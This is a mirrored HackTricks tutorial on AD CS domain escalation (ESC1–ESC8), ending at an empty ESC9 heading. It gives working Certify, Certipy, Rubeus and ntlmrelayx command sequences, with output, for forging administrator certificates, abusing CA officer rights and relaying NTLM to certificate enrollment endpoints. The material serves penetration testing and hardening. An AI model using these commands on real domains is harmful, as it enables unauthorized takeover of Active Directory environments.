daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

domain-escalation.md (72100B)


      1 ---
      2 title: "AD CS Domain Escalation"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # AD CS Domain Escalation
     14 
     15 **This is a summary of escalation technique sections of the posts:**
     16 
     17 - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)<sup>[[6]](#references)</sup>
     18 - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)<sup>[[7]](#references)</sup>
     19 - [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
     20 
     21 ## Misconfigured Certificate Templates - ESC1
     22 
     23 ### Explanation
     24 
     25 ### Misconfigured Certificate Templates - ESC1 Explained
     26 
     27 - **Enrolment rights are granted to low-privileged users by the Enterprise CA.**
     28 - **Manager approval is not required.**
     29 - **No signatures from authorized personnel are needed.**
     30 - **Security descriptors on certificate templates are overly permissive, allowing low-privileged users to obtain enrolment rights.**
     31 - **Certificate templates are configured to define EKUs that facilitate authentication:**
     32   - Extended Key Usage (EKU) identifiers such as Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA) are included.
     33 - **The ability for requesters to include a subjectAltName in the Certificate Signing Request (CSR) is allowed by the template:**
     34   - The Active Directory (AD) prioritizes the subjectAltName (SAN) in a certificate for identity verification if present. This means that by specifying the SAN in a CSR, a certificate can be requested to impersonate any user (e.g., a domain administrator). Whether a SAN can be specified by the requester is indicated in the certificate template's AD object through the `mspki-certificate-name-flag` property. This property is a bitmask, and the presence of the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag permits the specification of the SAN by the requester.
     35 
     36 > [!CAUTION]
     37 > The configuration outlined permits low-privileged users to request certificates with any SAN of choice, enabling authentication as any domain principal through Kerberos or SChannel.
     38 
     39 This feature is sometimes enabled to support the on-the-fly generation of HTTPS or host certificates by products or deployment services, or due to a lack of understanding.
     40 
     41 It is noted that creating a certificate with this option triggers a warning, which is not the case when an existing certificate template (such as the `WebServer` template, which has `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` enabled) is duplicated and then modified to include an authentication OID.<sup>[[6]](#references)</sup>
     42 
     43 ### Abuse
     44 
     45 To **find vulnerable certificate templates** you can run:
     46 
     47 ```bash
     48 Certify.exe find /vulnerable
     49 certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
     50 ```
     51 
     52 To **abuse this vulnerability to impersonate an administrator** one could run:
     53 
     54 ```bash
     55 # Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
     56 Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
     57 
     58 # Optionally pin the target's SID into the request (post-2022 SID mapping aware)
     59 Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500
     60 
     61 # Some CAs accept an otherName/URL SAN attribute carrying the SID value as well
     62 Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \
     63   /url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500
     64 
     65 # Certipy equivalent
     66 certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
     67   -template 'ESC1' -upn 'administrator@corp.local'
     68 ```
     69 
     70 Then you can transform the generated **certificate to `.pfx`** format and use it to **authenticate using Rubeus or certipy** again:<sup>[[5]](#references)</sup>
     71 
     72 ```bash
     73 Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
     74 certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
     75 ```
     76 
     77 The Windows binaries "Certreq.exe" & "Certutil.exe" can be used to generate the PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
     78 
     79 The enumeration of certificate templates within the AD Forest's configuration schema, specifically those not necessitating approval or signatures, possessing a Client Authentication or Smart Card Logon EKU, and with the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag enabled, can be performed by running the following LDAP query:
     80 
     81 ```text
     82 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
     83 ```
     84 
     85 ## Misconfigured Certificate Templates - ESC2
     86 
     87 ### Explanation
     88 
     89 The second abuse scenario is a variation of the first one:
     90 
     91 1. Enrollment rights are granted to low-privileged users by the Enterprise CA.
     92 2. The requirement for manager approval is disabled.
     93 3. The need for authorized signatures is omitted.
     94 4. An overly permissive security descriptor on the certificate template grants certificate enrollment rights to low-privileged users.
     95 5. **The certificate template is defined to include the Any Purpose EKU or no EKU.**
     96 
     97 The **Any Purpose EKU** permits a certificate to be obtained by an attacker for **any purpose**, including client authentication, server authentication, code signing, etc. The same **technique used for ESC3** can be employed to exploit this scenario.
     98 
     99 Certificates with **no EKUs**, which act as subordinate CA certificates, can be exploited for **any purpose** and can **also be used to sign new certificates**. Hence, an attacker could specify arbitrary EKUs or fields in the new certificates by utilizing a subordinate CA certificate.
    100 
    101 However, new certificates created for **domain authentication** will not function if the subordinate CA is not trusted by the **`NTAuthCertificates`** object, which is the default setting. Nonetheless, an attacker can still create **new certificates with any EKU** and arbitrary certificate values. These could be potentially **abused** for a wide range of purposes (e.g., code signing, server authentication, etc.) and could have significant implications for other applications in the network like SAML, AD FS, or IPSec.<sup>[[6]](#references)</sup>
    102 
    103 To enumerate templates that match this scenario within the AD Forest’s configuration schema, the following LDAP query can be run:
    104 
    105 ```text
    106 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
    107 ```
    108 
    109 ## Misconfigured Enrolment Agent Templates - ESC3
    110 
    111 ### Explanation
    112 
    113 This scenario is like the first and second one but **abusing** a **different EKU** (Certificate Request Agent) and **2 different templates** (therefore it has 2 sets of requirements),
    114 
    115 The **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), known as **Enrollment Agent** in Microsoft documentation, allows a principal to **enroll** for a **certificate** on **behalf of another user**.
    116 
    117 The **“enrollment agent”** enrolls in such a **template** and uses the resulting **certificate to co-sign a CSR on behalf of the other user**. It then **sends** the **co-signed CSR** to the CA, enrolling in a **template** that **permits “enroll on behalf of”**, and the CA responds with a **certificate belong to the “other” user**.<sup>[[6]](#references)</sup>
    118 
    119 **Requirements 1:**
    120 
    121 - Enrollment rights are granted to low-privileged users by the Enterprise CA.
    122 - The requirement for manager approval is omitted.
    123 - No requirement for authorized signatures.
    124 - The security descriptor of the certificate template is excessively permissive, granting enrollment rights to low-privileged users.
    125 - The certificate template includes the Certificate Request Agent EKU, enabling the request of other certificate templates on behalf of other principals.
    126 
    127 **Requirements 2:**
    128 
    129 - The Enterprise CA grants enrollment rights to low-privileged users.
    130 - Manager approval is bypassed.
    131 - The template's schema version is either 1 or exceeds 2, and it specifies an Application Policy Issuance Requirement that necessitates the Certificate Request Agent EKU.
    132 - An EKU defined in the certificate template permits domain authentication.
    133 - Restrictions for enrollment agents are not applied on the CA.
    134 
    135 ### Abuse
    136 
    137 You can use [**Certify**](https://github.com/GhostPack/Certify) or [**Certipy**](https://github.com/ly4k/Certipy) to abuse this scenario:<sup>[[4]](#references)</sup>
    138 
    139 ```bash
    140 # Request an enrollment agent certificate
    141 Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
    142 certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'
    143 
    144 # Enrollment agent certificate to issue a certificate request on behalf of
    145 # another user to a template that allow for domain authentication
    146 Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
    147 certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
    148 
    149 # Use Rubeus with the certificate to authenticate as the other user
    150 Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
    151 ```
    152 
    153 The **users** who are allowed to **obtain** an **enrollment agent certificate**, the templates in which enrollment **agents** are permitted to enroll, and the **accounts** on behalf of which the enrollment agent may act can be constrained by enterprise CAs. This is achieved by opening the `certsrc.msc` **snap-in**, **right-clicking on the CA**, **clicking Properties**, and then **navigating** to the “Enrollment Agents” tab.
    154 
    155 However, it is noted that the **default** setting for CAs is to “**Do not restrict enrollment agents**.” When the restriction on enrollment agents is enabled by administrators, setting it to “Restrict enrollment agents,” the default configuration remains extremely permissive. It allows **Everyone** access to enroll in all templates as anyone.
    156 
    157 ## Vulnerable Certificate Template Access Control - ESC4
    158 
    159 ### **Explanation**
    160 
    161 The **security descriptor** on **certificate templates** defines the **permissions** specific **AD principals** possess concerning the template.
    162 
    163 Should an **attacker** possess the requisite **permissions** to **alter** a **template** and **institute** any **exploitable misconfigurations** outlined in **prior sections**, privilege escalation could be facilitated.
    164 
    165 Notable permissions applicable to certificate templates include:<sup>[[6]](#references)</sup>
    166 
    167 - **Owner:** Grants implicit control over the object, allowing for the modification of any attributes.
    168 - **FullControl:** Enables complete authority over the object, including the capability to alter any attributes.
    169 - **WriteOwner:** Permits the alteration of the object's owner to a principal under the attacker's control.
    170 - **WriteDacl:** Allows for the adjustment of access controls, potentially granting an attacker FullControl.
    171 - **WriteProperty:** Authorizes the editing of any object properties.
    172 
    173 ### Abuse
    174 
    175 To identify principals with edit rights on templates and other PKI objects, enumerate with Certify:
    176 
    177 ```bash
    178 Certify.exe find /showAllPermissions
    179 Certify.exe pkiobjects /domain:corp.local /showAdmins
    180 ```
    181 
    182 An example of a privesc like the previous one:
    183 
    184 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28814%29.png" alt=""><figcaption></figcaption></figure>
    185 
    186 ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.
    187 
    188 As we can see in the path above, only `JOHNPC` has these privileges, but our user `JOHN` has the new `AddKeyCredentialLink` edge to `JOHNPC`. Since this technique is related to certificates, I have implemented this attack as well, which is known as [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab).<sup>[[8]](#references)</sup> Here’s a little sneak peak of Certipy’s `shadow auto` command to retrieve the NT hash of the victim.
    189 
    190 ```bash
    191 certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
    192 ```
    193 
    194 **Certipy** can overwrite the configuration of a certificate template with a single command. By **default**, Certipy will **overwrite** the configuration to make it **vulnerable to ESC1**. We can also specify the **`-save-old` parameter to save the old configuration**, which will be useful for **restoring** the configuration after our attack.
    195 
    196 ```bash
    197 # Make template vuln to ESC1
    198 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
    199 
    200 # Exploit ESC1
    201 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local
    202 
    203 # Restore config
    204 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
    205 ```
    206 
    207 ## Vulnerable PKI Object Access Control - ESC5
    208 
    209 ### Explanation
    210 
    211 The extensive web of interconnected ACL-based relationships, which includes several objects beyond certificate templates and the certificate authority, can impact the security of the entire AD CS system. These objects, which can significantly affect security, encompass:
    212 
    213 - The AD computer object of the CA server, which may be compromised through mechanisms like S4U2Self or S4U2Proxy.
    214 - The RPC/DCOM server of the CA server.
    215 - Any descendant AD object or container within the specific container path `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. This path includes, but is not limited to, containers and objects such as the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, and the Enrollment Services Container.
    216 
    217 The security of the PKI system can be compromised if a low-privileged attacker manages to gain control over any of these critical components.<sup>[[6]](#references)</sup>
    218 
    219 ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
    220 
    221 ### Explanation
    222 
    223 The subject discussed in the [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) also touches on the **`EDITF_ATTRIBUTESUBJECTALTNAME2`** flag's implications, as outlined by Microsoft. This configuration, when activated on a Certification Authority (CA), permits the inclusion of **user-defined values** in the **subject alternative name** for **any request**, including those constructed from Active Directory®. Consequently, this provision allows an **intruder** to enroll through **any template** set up for domain **authentication**—specifically those open to **unprivileged** user enrollment, like the standard User template. As a result, a certificate can be secured, enabling the intruder to authenticate as a domain administrator or **any other active entity** within the domain.<sup>[[9]](#references)</sup>
    224 
    225 **Note**: The approach for appending **alternative names** into a Certificate Signing Request (CSR), through the `-attrib "SAN:"` argument in `certreq.exe` (referred to as “Name Value Pairs”), presents a **contrast** from the exploitation strategy of SANs in ESC1. Here, the distinction lies in **how account information is encapsulated**—within a certificate attribute, rather than an extension.
    226 
    227 ### Abuse
    228 
    229 To verify whether the setting is activated, organizations can utilize the following command with `certutil.exe`:
    230 
    231 ```bash
    232 certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
    233 ```
    234 
    235 This operation essentially employs **remote registry access**, hence, an alternative approach might be:
    236 
    237 ```bash
    238 reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
    239 ```
    240 
    241 Tools like [**Certify**](https://github.com/GhostPack/Certify) and [**Certipy**](https://github.com/ly4k/Certipy) are capable of detecting this misconfiguration and exploiting it:<sup>[[4]](#references)</sup>
    242 
    243 ```bash
    244 # Detect vulnerabilities, including this one
    245 Certify.exe find
    246 
    247 # Exploit vulnerability
    248 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
    249 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
    250 ```
    251 
    252 To alter these settings, assuming one possesses **domain administrative** rights or equivalent, the following command can be executed from any workstation:
    253 
    254 ```bash
    255 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
    256 ```
    257 
    258 To disable this configuration in your environment, the flag can be removed with:
    259 
    260 ```bash
    261 certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
    262 ```
    263 
    264 > [!WARNING]
    265 > Post the May 2022 security updates, newly issued **certificates** will contain a **security extension** that incorporates the **requester's `objectSid` property**. For ESC1, this SID is derived from the specified SAN. However, for **ESC6**, the SID mirrors the **requester's `objectSid`**, not the SAN.\
    266 > To exploit ESC6, it is essential for the system to be susceptible to ESC10 (Weak Certificate Mappings), which prioritizes the **SAN over the new security extension**.
    267 
    268 ## Vulnerable Certificate Authority Access Control - ESC7
    269 
    270 ### Attack 1
    271 
    272 #### Explanation
    273 
    274 Access control for a certificate authority is maintained through a set of permissions that govern CA actions. These permissions can be viewed by accessing `certsrv.msc`, right-clicking a CA, selecting properties, and then navigating to the Security tab. Additionally, permissions can be enumerated using the PSPKI module with commands such as:
    275 
    276 ```bash
    277 Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
    278 ```
    279 
    280 This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA administrator” and “Certificate Manager” respectively.<sup>[[6]](#references)</sup>
    281 
    282 #### Abuse
    283 
    284 Having **`ManageCA`** rights on a certificate authority enables the principal to manipulate settings remotely using PSPKI. This includes toggling the **`EDITF_ATTRIBUTESUBJECTALTNAME2`** flag to permit SAN specification in any template, a critical aspect of domain escalation.
    285 
    286 Simplification of this process is achievable through the use of PSPKI’s **Enable-PolicyModuleFlag** cmdlet, allowing modifications without direct GUI interaction.
    287 
    288 Possession of **`ManageCertificates`** rights facilitates the approval of pending requests, effectively circumventing the "CA certificate manager approval" safeguard.
    289 
    290 A combination of **Certify** and **PSPKI** modules can be utilized to request, approve, and download a certificate:
    291 
    292 ```bash
    293 # Request a certificate that will require an approval
    294 Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
    295 [...]
    296 [*] CA Response      : The certificate is still pending.
    297 [*] Request ID       : 336
    298 [...]
    299 
    300 # Use PSPKI module to approve the request
    301 Import-Module PSPKI
    302 Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
    303 
    304 # Download the certificate
    305 Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
    306 ```
    307 
    308 ### Attack 2
    309 
    310 #### Explanation
    311 
    312 > [!WARNING]
    313 > In the **previous attack** **`Manage CA`** permissions were used to **enable** the **EDITF_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates.
    314 
    315 Therefore, another attack is presented here.
    316 
    317 Perquisites:
    318 
    319 - Only **`ManageCA` permission**
    320 - **`Manage Certificates`** permission (can be granted from **`ManageCA`**)
    321 - Certificate template **`SubCA`** must be **enabled** (can be enabled from **`ManageCA`**)
    322 
    323 The technique relies on the fact that users with the `Manage CA` _and_ `Manage Certificates` access right can **issue failed certificate requests**. The **`SubCA`** certificate template is **vulnerable to ESC1**, but **only administrators** can enroll in the template. Thus, a **user** can **request** to enroll in the **`SubCA`** - which will be **denied** - but **then issued by the manager afterwards**.<sup>[[6]](#references)</sup>
    324 
    325 #### Abuse
    326 
    327 You can **grant yourself the `Manage Certificates`** access right by adding your user as a new officer.
    328 
    329 ```bash
    330 certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
    331 Certipy v4.0.0 - by Oliver Lyak (ly4k)
    332 
    333 [*] Successfully added officer 'John' on 'corp-DC-CA'
    334 ```
    335 
    336 The **`SubCA`** template can be **enabled on the CA** with the `-enable-template` parameter. By default, the `SubCA` template is enabled.
    337 
    338 ```bash
    339 # List templates
    340 certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
    341 ## If SubCA is not there, you need to enable it
    342 
    343 # Enable SubCA
    344 certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
    345 Certipy v4.0.0 - by Oliver Lyak (ly4k)
    346 
    347 [*] Successfully enabled 'SubCA' on 'corp-DC-CA'
    348 ```
    349 
    350 If we have fulfilled the prerequisites for this attack, we can start by **requesting a certificate based on the `SubCA` template**.
    351 
    352 **This request will be denie**d, but we will save the private key and note down the request ID.
    353 
    354 ```bash
    355 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
    356 Certipy v4.0.0 - by Oliver Lyak (ly4k)
    357 
    358 [*] Requesting certificate via RPC
    359 [-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
    360 [*] Request ID is 785
    361 Would you like to save the private key? (y/N) y
    362 [*] Saved private key to 785.key
    363 [-] Failed to request certificate
    364 ```
    365 
    366 With our **`Manage CA` and `Manage Certificates`**, we can then **issue the failed certificate** request with the `ca` command and the `-issue-request <request ID>` parameter.
    367 
    368 ```bash
    369 certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
    370 Certipy v4.0.0 - by Oliver Lyak (ly4k)
    371 
    372 [*] Successfully issued certificate
    373 ```
    374 
    375 And finally, we can **retrieve the issued certificate** with the `req` command and the `-retrieve <request ID>` parameter.
    376 
    377 ```bash
    378 certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
    379 Certipy v4.0.0 - by Oliver Lyak (ly4k)
    380 
    381 [*] Rerieving certificate with ID 785
    382 [*] Successfully retrieved certificate
    383 [*] Got certificate with UPN 'administrator@corp.local'
    384 [*] Certificate has no object SID
    385 [*] Loaded private key from '785.key'
    386 [*] Saved certificate and private key to 'administrator.pfx'
    387 ```
    388 
    389 ### Attack 3 – Manage Certificates Extension Abuse (SetExtension)
    390 
    391 #### Explanation
    392 
    393 In addition to the classic ESC7 abuses (enabling EDITF attributes or approving pending requests), **Certify 2.0** revealed a brand-new primitive that only requires the *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) role on the Enterprise CA.<sup>[[3]](#references)</sup>
    394 
    395 The `ICertAdmin::SetExtension` RPC method can be executed by any principal holding *Manage Certificates*.  While the method was traditionally used by legitimate CAs to update extensions on **pending** requests, an attacker can abuse it to **append a *non-default* certificate extension** (for example a custom *Certificate Issuance Policy* OID such as `1.1.1.1`) to a request that is waiting for approval.
    396 
    397 Because the targeted template does **not define a default value for that extension**, the CA will NOT overwrite the attacker-controlled value when the request is eventually issued.  The resulting certificate therefore contains an attacker-chosen extension that may:
    398 
    399 * Satisfy Application / Issuance Policy requirements of other vulnerable templates (leading to privilege escalation).
    400 * Inject additional EKUs or policies that grant the certificate unexpected trust in third-party systems.
    401 
    402 In short, *Manage Certificates* – previously considered the “less powerful” half of ESC7 – can now be leveraged for full privilege escalation or long-term persistence, without touching CA configuration or requiring the more restrictive *Manage CA* right.
    403 
    404 #### Abusing the primitive with Certify 2.0
    405 
    406 1. **Submit a certificate request that will remain *pending*.**  This can be forced with a template that requires manager approval:
    407    ```powershell
    408    Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
    409    # Take note of the returned Request ID
    410    ```
    411 
    412 2. **Append a custom extension to the pending request** using the new `manage-ca` command:
    413    ```powershell
    414    Certify.exe manage-ca --ca SERVER\\CA-NAME \
    415                      --request-id 1337 \
    416                      --set-extension "1.1.1.1=DER,10,01 01 00 00"  # fake issuance-policy OID
    417    ```
    418    *If the template does not already define the *Certificate Issuance Policies* extension, the value above will be preserved after issuance.*
    419 
    420 3. **Issue the request** (if your role also has *Manage Certificates* approval rights) or wait for an operator to approve it.  Once issued, download the certificate:
    421    ```powershell
    422    Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
    423    ```
    424 
    425 4. The resulting certificate now contains the malicious issuance-policy OID and can be used in subsequent attacks (e.g. ESC13, domain escalation, etc.).
    426 
    427 > NOTE:  The same attack can be executed with Certipy ≥ 4.7 through the `ca` command and the `-set-extension` parameter.
    428 
    429 ## NTLM Relay to AD CS HTTP Endpoints – ESC8
    430 
    431 ### Explanation
    432 
    433 > [!TIP]
    434 > In environments where **AD CS is installed**, if a **web enrollment endpoint vulnerable** exists and at least one **certificate template is published** that permits **domain computer enrollment and client authentication** (such as the default **`Machine`** template), it becomes possible for **any computer with the spooler service active to be compromised by an attacker**!
    435 
    436 Several **HTTP-based enrollment methods** are supported by AD CS, made available through additional server roles that administrators may install. These interfaces for HTTP-based certificate enrollment are susceptible to **NTLM relay attacks**. An attacker, from a **compromised machine, can impersonate any AD account that authenticates via inbound NTLM**. While impersonating the victim account, these web interfaces can be accessed by an attacker to **request a client authentication certificate using the `User` or `Machine` certificate templates**.
    437 
    438 - The **web enrollment interface** (an older ASP application available at `http://<caserver>/certsrv/`), defaults to HTTP only, which does not offer protection against NTLM relay attacks. Additionally, it explicitly permits only NTLM authentication through its Authorization HTTP header, rendering more secure authentication methods like Kerberos inapplicable.
    439 - The **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, and **Network Device Enrollment Service** (NDES) by default support negotiate authentication via their Authorization HTTP header. Negotiate authentication **supports both** Kerberos and **NTLM**, allowing an attacker to **downgrade to NTLM** authentication during relay attacks. Although these web services enable HTTPS by default, HTTPS alone **does not safeguard against NTLM relay attacks**. Protection from NTLM relay attacks for HTTPS services is only possible when HTTPS is combined with channel binding. Regrettably, AD CS does not activate Extended Protection for Authentication on IIS, which is required for channel binding.<sup>[[6]](#references)</sup>
    440 
    441 A common **issue** with NTLM relay attacks is the **short duration of NTLM sessions** and the inability of the attacker to interact with services that **require NTLM signing**.
    442 
    443 Nevertheless, this limitation is overcome by exploiting an NTLM relay attack to acquire a certificate for the user, as the certificate's validity period dictates the session's duration, and the certificate can be employed with services that **mandate NTLM signing**. For instructions on utilizing a stolen certificate, refer to:
    444 
    445 
    446 [Account Persistence](/hacktricks/windows-hardening/active-directory-methodology/ad-certificates/account-persistence)
    447 
    448 Another limitation of NTLM relay attacks is that **an attacker-controlled machine must be authenticated to by a victim account**. The attacker could either wait or attempt to **force** this authentication:
    449 
    450 
    451 [Printers Spooler Service Abuse](/hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse)
    452 
    453 ### **Abuse**
    454 
    455 [**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**:<sup>[[4]](#references)</sup>
    456 
    457 ```text
    458 Certify.exe cas
    459 ```
    460 
    461 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2872%29.png" alt=""><figcaption></figcaption></figure>
    462 
    463 The `msPKI-Enrollment-Servers` property is used by enterprise Certificate Authorities (CAs) to store Certificate Enrollment Service (CES) endpoints. These endpoints can be parsed and listed by utilizing the tool **Certutil.exe**:
    464 
    465 ```text
    466 certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
    467 ```
    468 
    469 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28757%29.png" alt=""><figcaption></figcaption></figure>
    470 
    471 ```bash
    472 Import-Module PSPKI
    473 Get-CertificationAuthority | select Name,Enroll* | Format-List *
    474 ```
    475 
    476 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28940%29.png" alt=""><figcaption></figcaption></figure>
    477 
    478 #### Abuse with Certify
    479 
    480 ```bash
    481 ## In the victim machine
    482 # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
    483 PortBender redirect 445 8445
    484 rportfwd 8445 127.0.0.1 445
    485 # Prepare a proxy that the attacker can use
    486 socks 1080
    487 
    488 ## In the attackers
    489 proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
    490 
    491 # Force authentication from victim to compromised machine with port forwards
    492 execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
    493 ```
    494 
    495 #### Abuse with [Certipy](https://github.com/ly4k/Certipy)
    496 
    497 The request for a certificate is made by Certipy by default based on the template `Machine` or `User`, determined by whether the account name being relayed ends in `$`. The specification of an alternative template can be achieved through the use of the `-template` parameter.
    498 
    499 A technique like [PetitPotam](https://github.com/ly4k/PetitPotam) can then be employed to coerce authentication. When dealing with domain controllers, the specification of `-template DomainController` is required.
    500 
    501 ```bash
    502 certipy relay -ca ca.corp.local
    503 Certipy v4.0.0 - by Oliver Lyak (ly4k)
    504 
    505 [*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
    506 [*] Listening on 0.0.0.0:445
    507 [*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
    508 [*] Got certificate with UPN 'Administrator@corp.local'
    509 [*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
    510 [*] Saved certificate and private key to 'administrator.pfx'
    511 [*] Exiting...
    512 ```
    513 
    514 ## No Security Extension - ESC9 <a href="#id-5485" id="id-5485"></a>
    515 
    516 ### Explanation
    517 
